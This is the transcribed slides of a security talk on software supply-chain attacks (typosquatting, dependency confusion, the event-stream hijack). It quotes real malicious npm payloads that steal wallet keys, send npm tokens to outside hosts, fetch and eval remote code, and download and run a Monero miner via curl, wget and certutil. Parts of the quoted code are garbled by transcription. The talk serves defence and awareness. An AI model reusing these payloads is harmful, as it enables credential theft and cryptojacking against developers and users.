Cracks in the pipeline: Breaking down Software Integrity failures in the wild

V Vinoth
OWASP Singapore Chapter Meetup
27 Feb 2024
Hello, I’m Vinoth

• Cyber Offensive Manager @ softScheck APAC
• I enjoy penetration testing, low level systems engineering, exploit development
Why this topic?
Awakening

• It all started with Log4Shell (CVE-2021-44228)
• 93% of cloud enterprise environments were vulnerable

“the single biggest, most critical vulnerability ever”
Tenable

“arguably the most severe vulnerability ever”
Ars Technica

“border on the apocalyptic.”
The Washington Post
Scale

• According to Synk monitoring:

• 2021 - added 82 new malicious packages

• 2022 + 2023 - added > 9900 impactful malicious packages

• increase of 11,973% in comparison to 2021
Why use packages?

• You can’t write everything yourself
• You need to focus on core functionality
• Each library/package provides a specific functionality
• Leverage Open Source
Why use packages?

```java
1. import org.apache.log4j.Logger;
2. import java.io.*;
3. import java.sql.SQLException;
4. import java.util.*;

7. public class Example{

9.     /* Get the class name to be printed on */
10.    static Logger log = Logger.getLogger(Example.class.getName());

12.    public static void main(String[] args) throws IOException, SQLException{
13.        log.debug("Hello this is a debug message");
14.        log.info("Hello this is an info message");
15.    }
16. }
```
How to use packages?

- A package repository is a centralized online platform where developers can publish / retrieve libraries and dependencies for projects.
Popular techniques to deploy malicious packages
Typosquatting

- Publish malicious package to a registry, hope to trick users into installing them
- Typically wordplay with original package name
A JavaScript / Python / PHP cryptocurrency trading library with support for 90+ exchanges

Project description

Oops! Looking for CCXT? You’ve mistyped the name. Bad guys could exploit this, providing a fake version of CCXT here, but we always think a step forward :) So here’s the original version you’ve might been looking for: https://www.npmjs.com/package/ccxt

Have a nice day!

– CCXT Dev Team
Dependency confusion

1. Run install a package command
   eg: `npm install mypackage`

2. Check the latest version of the package
   in the public registry
   eg: `search latest version of mypackage`

3. Compare the latest version listed under public and private registry
   Select the higher version as the latest version
   If the workstation is running the most recent version. END OF OPERATION
   Otherwise, retrieve the package from the registry that lists a higher version.

Source: https://www.websecuritylens.org/how-dependency-confusion-attack-works-and-how-to-prevent-it/
Dependency confusion

Attacker:
1. Finds private package name
2. Creates duplicate on public registry
3. Assigns higher version
Dependency Hijacking

• event-stream like most other packages, uses dependencies

Source: https://www.aha.io/engineering/articles/event-stream-vulnerability-explained
@dominictarr Interesting. Would you accept a `flatMap` patch using this functionality?

@devinus commented on Jul 31, 2015

I wonder why `mapSync` uses `emit` rather than `queue`.

@dominictarr commented on Jul 31, 2015

@devinus ah, it's probably just old. I don't use this module anymore, I now use https://github.com/dominictarr/pull-stream

If you publish a `flatMap` module and then make a pr to include it, I'll merge.
Threat actor creates flatmap-stream, with no malicious code yet
dominictarr commented on Nov 22, 2018

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and haven't for years.
User complains about deprecation warning for “Nodemon”, which uses a dependency event-stream.

The warning was based on an OpenSSL function that still used MD5 for key derivation.
Backdoored sub-dependency? flatmap-stream-0.1.1 and flatmap-stream-0.1.2 #1451

NewEraCracker commented 10 days ago

```javascript
node_mon requires pstree.remy (^1.1.0 - installed 1.1.0) -> ps-tree (^1.1.0 - installed 1.1.0) -> event-stream (~3.3.0 - installed 3.3.6) -> flatmap-stream (^0.1.0 - npm installs 0.1.2).

This last one is very suspicious.
See: dominictarr/event-stream#115

Please either force version 0.1.0 of flatmap-stream or update event-stream to latest version (which no longer requires the affected module).

Regards.
```

Nodemon depends on Event-stream depends on Flatmap-stream compromised
Other methods

- Sabotage
- Compromised maintainer accounts
- Malicious Pull requests
- Social engineering / phishing
- Fake Security advisories
Payloads
Stealing Crypto

Obfuscated code = red flag

Source: https://www.aha.io/engineering/articles/event-stream-vulnerability-explained
Exit program if environment variable does not contain “npm_package_description”

```javascript
var r = require, t = process;

npm_package_description = process['env'][\'npm_package_description\'];
if (!npm_package_description) return;
```

AES256 decrypt n[0] (the encrypted payload)
AES256 key = npm_package_description
Execute decrypted payload – will fail for all but 1 package

```javascript
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
decoded = decipher.update(n[0], 'hex', 'utf8');
decoded += decipher.final('utf8');
```
null

// 2
// 'crypto'
"63727970746f",

// 3
// 'env'
"656e76",

// 4
// 'npm_package_description'
"6e706d5f7061636b6167655f64657363726970746966e",

// 5
// 'aes256'
"616573323536",

// 6
// 'createDecipher'
"6372656174654465636970686572",
Iterate over each credentials, checking for balances

```javascript
for (var t in e.credentials) {
    var n = e.credentials[t];
    "livenet" == n.network &amp;& 1("balanceCache-" + n.walletId), function(e) {
        var t = this;
        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin &amp;& t.balance &gt; 100 || "bch" == t.coin &amp;& t.balance &gt; 1e3
    }.bind(n))
}
```

Modifies original bitcore-wallet-client APIs, collects wallet keys

```javascript
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeyFunc = e.prototype.getKey, e.prototype.getKey = function(e) {
    var t = this.getKeyFunc(e);
    try {
        delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey)
    } catch (e) {} 
    return t
```
function i(e, t, n) {
  e = Buffer.from(e, "hex").toString();
  var r = o.request({
    hostname: e,
    port: 8080,
    method: "POST",
    path: "/" + t,
    headers: {
      "Content-Length": n.length,
      "Content-Type": "text/html"
    }
  }, function() {});
  r.on("error", function(e) {}), r.write(n), r.end()
}

function r(e, t) {
  for (var n = "", r = 0; r < t.length; r += 200) {
    var o = t.substr(r, 200);
    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
  }
  i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
Host Phishing infra

- Objective: Host infrastructure of a turn-key phishing attack kit (PhaaS)

Source: Reversinglabs.com
```javascript
var qwerty123xxxxxcvc = EMAIL64; 

script type = "text/JavaScript" >

var kkl < % = RANDNUM5 % > ISgoot < %= RANDNUM3 % > = '<%= qwerty123xxxxxcvc%>';

var _0xb359 = ["_0xb359[4]" ];
var path = window[0xb359[1]][0xb359[0]];
var regex = '/^file:\//';
if (regex[0xb359[2]](path)) {
    console[0xb359[4]](_0xb359[3]);
}

function decodeHtml(_0x1bd1x4) {
    var _0x1bd1x5 = document[0xb359[6]][0xb359[5]];
    _0x1bd1x5[0xb359[7]] = _0x1bd1x4;
    return _0x1bd1x5[0xb359[8]]
}

fetch(_0xb359[14]).then(function(_0x1bd1x8) {
    return _0x1bd1x8[0xb359[13]]();
})[0xb359[12]](function(0x1bd1x7) {
    console[0xb359[4]](_0x1bd1x7);
    document[0xb359[11]](decodeHtml(_0x1bd1x7))
})[0xb359[10]](function(_0x1bd1x6) {
    console[0xb359[4]](_0x1bd1x6)
})
else {
    console[0xb359[4]](_0xb359[15])
}
</script>
```
Fake Microsoft login form
Fake word document that “requires authentication”
Phishing End Users

• Objective: achieve full supply chain compromise
• Includes `index.js` and `index.html`

Source: Reversinglabs.com
Develop Javascript App

Add Dependencies

Tricked by typosquat

“main.js” is entry point of application

Content of malicious “index.js” included in “main.js”

Webpack compiles the application including malicious package

Malicious package added as a dependency of the project

Application is deployed, running malicious code
Snippet of “main.js” which contains malicious code

```javascript
/***/ (function() { // webpackBootstrap
/***/ var __webpack_modules__ = {

/***/ "./node_modules/jqueryoffline/index.js:
//*******************************
[!]* node_modules/jqueryoffline/index.js */

/***/ (function () {

eval("var _0xb359f=["\\x68\\x72\\x65\\x661", "]\\x68C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E", "]\\x74\\x73\\x73\\x74!",
["\x69\\x5f\\x74\\x71\\x68\\x61\\x63\\x66\\x6E\\x74\\x65\\x0f\\x73\\x20\\x77\\x69\\x6E\\x67\\x61!",
["\x63\\x72\\x65\\x71\\x65\\x61\\x74\\x65\\x63\\x66\\x6E\\x74\\x65\\x0f\\x73\\x20\\x77\\x69\\x6E\\x67\\x61!,
["\x68\\x61\\x6c\\x75\\x65!", "]\\x68\\x69\\x6d\\x65\\x61\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\\x0f\\x73\n  

/***/ });

/***/ ".\src/index.js:
//*******************************
[!]* src/index.js */

/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

eval("var jqueryoffline = __webpack_require__ ("/*! jqueryoffline */ "\./node_modules/jqueryoffline/index.js\"));\nconsole.log ("Hello, Webpack!");\n
/***/ });
```
Steal Authentication Tokens

• Objective: Steal npm access tokens for publishing to npm

Source: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes/

The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account.
Step 1:
include postinstall script

```json
{
  + "postinstall": "node ./lib/build.js",
}
```

Step 2:
Download malicious script

```javascript
https
.get()
{
  hostname: "pastebin.com",
  path: "/raw/X1eVP82h",
  headers: {
    "User-Agent":
      "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
    Accept:
      "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
  }
},
r => {
  r.setEncoding(”utf8”);
  r.on(”data”, c => {
    eval(c);
  });
```
Step 3:
Exfiltrate token

```javascript
if (fs.existsSync(npmrc)) {
  content = fs.readFileSync(npmrc, { encoding: "utf8" });
  content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

  var https1 = require("https");
  https1
    .get(
      {
        hostname: "sstatic1.histats.com",
        path: "/0.gif?4103075&101",
        method: "GET",
        headers: { Referer: "http://1.a/" + content }
      },
      () => {})
    .on("error", () => {});

  https1
    .get(
      {
        hostname: "c.statcounter.com",
        path: "/11760461/0/7b5b9d71/1/",
        method: "GET",
        headers: { Referer: "http://2.b/" + content }
      },
      () => {})
    .on("error", () => {});
```
A bit of everything

- Objective: Crypto mining, deploy password stealing trojan
- UAParser.js is used to parse a browser's user agent to identify a visitor's browser, engine, OS, CPU, and Device type/model.
- 12 Million weekly downloads

Step 1:
Check OS type

```javascript
var opsys = process.platform;
if (opsys == "darwin") {
    opsys = "MacOS";
} else if (opsys == "win32" || opsys == "win64") {
    opsys = "Windows";
    const { spawn } = require('child_process');
    const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
} else if (opsys == "linux") {
    opsys = "Linux";
    terminalLinux();
}
```
Step 2: Download files

```bash
@echo off
curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe
if not exist jsextension.exe ( wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe )
if not exist jsextension.exe ( certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe )
curl https://citationsherbe.at/sdd.dll -o create.dll
if not exist create.dll ( wget https://citationsherbe.at/sdd.dll -O create.dll )
if not exist create.dll ( certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll )
set exe_1=jsextension.exe
set "count_1=0"
tasklist /temp (tasklist.temp)
for /f %%x in (tasklist.temp) do ( if "%%x" EQU "exe_1%" set /a count_1+=1
if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u 49ay9Aqz2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1Uumew6ZPX1ndfXQCTI6v4trWp4erPyXtuUQZTHGbLXwQd5qlMxxYKH -cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll )
delet tasklist.temp
```
How can I mitigate risk?

• Developer Education and Awareness
• Mandate two-factor authentication for maintainer accounts
• Pay close attention to the spelling and formatting of package names
• Use unique and non-guessable names for internal packages
• Reserve a company namespace in the registry / package manager
• Utilize tools for vulnerability scanning and package verification
• Regularly monitor package dependencies and review sources and integrity
• Review package.json or equivalent files for post-install scripts
• Frequent application penetration tests & code reviews
• Obfuscated code is a red flag
• Use Content Delivery Networks (CDN) with care
References

- https://en.wikipedia.org/wiki/Log4Shell
- https://snyk.io/blog/malicious-packages-open-source-ecosystems/
- https://blog.phylum.io/a-pypi-typosquatting-campaign-post-mortem/
- https://www.websecuritylens.org/how-dependency-confusion-attack-works-and-how-to-prevent-it/
- https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor
- https://www.aha.io/engineering/articles/event-stream-vulnerability-explained
Thank you.